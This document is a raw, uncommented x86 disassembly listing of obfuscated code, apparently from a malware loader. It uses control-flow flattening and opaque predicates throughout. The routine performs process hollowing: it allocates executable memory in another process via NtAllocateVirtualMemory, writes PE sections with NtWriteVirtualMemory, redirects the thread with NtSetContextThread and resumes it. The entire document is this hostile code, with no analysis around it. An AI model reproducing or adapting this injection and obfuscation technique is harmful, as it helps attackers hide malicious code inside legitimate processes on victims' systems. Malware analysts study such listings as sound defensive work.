xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcbe8ca1c
mov ecx, 0xabb80e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [0x10065a88]
mov ecx, dword [0x10065a84]
mov edx, eax
add edx, 0xa984cefe
sub edx, 1
sub edx, 0xa984cefe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1c2e876c
mov ecx, 0x8266721d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x74]
sub ecx, 0x486a518c
add ecx, eax
add ecx, 0x486a518c
mov eax, dword [ebp - 0x184]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x10065a88]
mov eax, dword [0x10065a84]
mov edx, ecx
add edx, 0x4217ad3c
sub edx, 1
sub edx, 0x4217ad3c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1c2e876c
mov ecx, 0x9fa6121b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x740044aa
jmp 0x1000e7fe
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x194], eax
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x174]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x198], 0x24ff0b54
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x95eb878a
jmp 0x1000e7fe
mov ecx, dword [ebp - 0xf0]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x180]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov dword [eax], 0
mov dword [ebp - 0x198], 0x308573b5
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0xcee61fbe
jmp 0x1000e7fe
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x198], 0xfb42d695
jmp 0x1000e7fe
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc8]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x178]
mov edx, dword [ebp - 0x170]
mov edx, dword [edx]
mov esi, dword [ebp - 0x160]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x170]
mov esi, dword [esi]
mov edi, dword [ebp - 0x160]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
sub edx, 0xc21c6814
add edx, esi
add edx, 0xc21c6814
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x180]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x170]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x160]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100070f0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x198], 0x570defc5
jmp 0x1000e7fe
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x198], 0x419d60e8
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x94856b3a
jmp 0x1000e7fe
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x90]
add ecx, 0x5d42af6e
add ecx, eax
sub ecx, 0x5d42af6e
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x9b4d58c7
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0xc6816676
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x57c5d800
jmp 0x1000e7fe
mov dword [ebp - 0x198], 0x79af5b84
jmp 0x1000e7fe
mov eax, dword [ebp - 0x158]
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x198], 0xd26e0929
jmp 0x1000e7fe
jmp 0x100078d0